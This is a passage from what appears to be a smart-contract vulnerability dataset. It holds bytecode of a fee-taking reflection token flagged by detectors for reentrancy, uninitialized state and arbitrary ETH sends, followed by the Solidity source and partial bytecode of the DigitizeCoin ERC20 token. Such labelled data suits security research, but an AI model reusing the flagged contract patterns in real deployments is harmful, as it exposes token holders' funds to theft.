fffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202c569641313ee7ab4fc4289590481d721812a753d85faf7f72ad5bd502e17e9d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,495
0xfa1ba7dbb7b20439e75ca45173cf45c95a9301ea
pragma solidity ^0.4.21; // ---------------------------------------------------------------------------- // 'Digitize Coin - DTZ' token contract // // Symbol : DTZ // Name : Digitize Coin // Total supply: 200,000,000 // Decimals : 18 // // // (c) Radek Ostrowski / http://startonchain.com - The MIT Licence. // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } } /** * @title CutdownToken * @dev Some ERC20 interface methods used in this contract */ contract CutdownToken { function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); } /** * @title ApproveAndCallFallBack * @dev Interface function called from `approveAndCall` notifying that the approval happened */ contract ApproveAndCallFallBack { function receiveApproval(address _from, uint256 _amount, address _tokenContract, bytes _data) public returns (bool); } /** * @title Digitize Coin * @dev Burnable ERC20 token with initial transfers blocked */ contract DigitizeCoin is Ownable { using SafeMath for uint256; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _burner, uint256 _value); event TransfersEnabled(); event TransferRightGiven(address indexed _to); event TransferRightCancelled(address indexed _from); event WithdrawnERC20Tokens(address indexed _tokenContract, address indexed _owner, uint256 _balance); event WithdrawnEther(address indexed _owner, uint256 _balance); event ApproveAndCall(address indexed _from, address indexed _to, uint256 _value, bytes _data); string public constant name = "Digitize Coin"; string public constant symbol = "DTZ"; uint256 public constant decimals = 18; uint256 public constant initialSupply = 200000000 * (10 ** decimals); uint256 public totalSupply; mapping(address => uint256) public balances; mapping(address => mapping (address => uint256)) internal allowed; //This mapping is used for the token owner and crowdsale contract to //transfer tokens before they are transferable mapping(address => bool) public transferGrants; //This flag controls the global token transfer bool public transferable; /** * @dev Modifier to check if tokens can be transfered. */ modifier canTransfer() { require(transferable || transferGrants[msg.sender]); _; } /** * @dev The constructor sets the original `owner` of the contract * to the sender account and assigns them all tokens. */ function DigitizeCoin() public { owner = msg.sender; totalSupply = initialSupply; balances[owner] = totalSupply; transferGrants[owner] = true; } /** * @dev This contract does not accept any ether. * Any forced ether can be withdrawn with `withdrawEther()` by the owner. */ function () payable public { revert(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) canTransfer public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) canTransfer public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) canTransfer public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) canTransfer public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Function to approve the transfer of the tokens and to call another contract in one step * @param _recipient The target contract for tokens and function call * @param _value The amount of tokens to send * @param _data Extra data to be sent to the recipient contract function */ function approveAndCall(address _recipient, uint _value, bytes _data) public returns (bool) { allowed[msg.sender][_recipient] = _value; ApproveAndCallFallBack(_recipient).receiveApproval(msg.sender, _value, address(this), _data); emit ApproveAndCall(msg.sender, _recipient, _value, _data); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } /** * @dev Enables the transfer of tokens for everyone */ function enableTransfers() onlyOwner public { require(!transferable); transferable = true; emit TransfersEnabled(); } /** * @dev Assigns the special transfer right, before transfers are enabled * @param _to The address receiving the transfer grant */ function grantTransferRight(address _to) onlyOwner public { require(!transferable); require(!transferGrants[_to]); require(_to != address(0)); transferGrants[_to] = true; emit TransferRightGiven(_to); } /** * @dev Removes the special transfer right, before transfers are enabled * @param _from The address that the transfer grant is removed from */ function cancelTransferRight(address _from) onlyOwner public { require(!transferable); require(transferGrants[_from]); transferGrants[_from] = false; emit TransferRightCancelled(_from); } /** * @dev Allows to transfer out the balance of arbitrary ERC20 tokens from the contract. * @param _tokenContract The contract address of the ERC20 token. */ function withdrawERC20Tokens(address _tokenContract) onlyOwner public { CutdownToken token = CutdownToken(_tokenContract); uint256 totalBalance = token.balanceOf(address(this)); token.transfer(owner, totalBalance); emit WithdrawnERC20Tokens(_tokenContract, owner, totalBalance); } /** * @dev Allows to transfer out the ether balance that was forced into this contract, e.g with `selfdestruct` */ function withdrawEther() public onlyOwner { uint256 totalBalance = address(this).balance; require(totalBalance > 0); owner.transfer(totalBalance); emit WithdrawnEther(owner, totalBalance); } }
0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde038114610129578063095ea7b3146101b357806318160ddd146101e957806322cd8e9b1461020e57806323b872dd1461022d57806327e235e314610255578063313ce56714610274578063378dc3dc1461028757806342966c681461029a5780634ff7ff32146102b2578063566038fb146102d157806366188463146102f057806370a08231146103125780637362377b146103315780637627c9ad146103445780638da5cb5b1461036357806392ff0d311461039257806395d89b41146103a5578063a9059cbb146103b8578063af35c6c7146103da578063cae9ca51146103ed578063d73dd62314610452578063dd62ed3e14610474578063f2fde38b14610499575b600080fd5b341561013457600080fd5b61013c6104b8565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610178578082015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101be57600080fd5b6101d5600160a060020a03600435166024356104ef565b604051901515815260200160405180910390f35b34156101f457600080fd5b6101fc61058f565b60405190815260200160405180910390f35b341561021957600080fd5b6101d5600160a060020a0360043516610595565b341561023857600080fd5b6101d5600160a060020a03600435811690602435166044356105aa565b341561026057600080fd5b6101fc600160a060020a0360043516610761565b341561027f57600080fd5b6101fc610773565b341561029257600080fd5b6101fc610778565b34156102a557600080fd5b6102b0600435610787565b005b34156102bd57600080fd5b6102b0600160a060020a0360043516610841565b34156102dc57600080fd5b6102b0600160a060020a0360043516610983565b34156102fb57600080fd5b6101d5600160a060020a0360043516602435610a25565b341561031d57600080fd5b6101fc600160a060020a0360043516610b57565b341561033c57600080fd5b6102b0610b72565b341561034f57600080fd5b6102b0600160a060020a0360043516610c1b565b341561036e57600080fd5b610376610cd4565b604051600160a060020a03909116815260200160405180910390f35b341561039d57600080fd5b6101d5610ce3565b34156103b057600080fd5b61013c610cec565b34156103c357600080fd5b6101d5600160a060020a0360043516602435610d23565b34156103e557600080fd5b6102b0610e53565b34156103f857600080fd5b6101d560048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610eb995505050505050565b341561045d57600080fd5b6101d5600160a060020a036004351660243561109b565b341561047f57600080fd5b6101fc600160a060020a0360043581169060243516611174565b34156104a457600080fd5b6102b0600160a060020a036004351661119f565b60408051908101604052600d81527f4469676974697a6520436f696e00000000000000000000000000000000000000602082015281565b60055460009060ff168061051b5750600160a060020a03331660009081526004602052604090205460ff165b151561052657600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015481565b60046020526000908152604090205460ff1681565b60055460009060ff16806105d65750600160a060020a03331660009081526004602052604090205460ff165b15156105e157600080fd5b600160a060020a03831615156105f657600080fd5b600160a060020a03841660009081526002602052604090205482111561061b57600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561064e57600080fd5b600160a060020a038416600090815260026020526040902054610677908363ffffffff61122e16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546106ac908363ffffffff61124316565b600160a060020a038085166000908152600260209081526040808320949094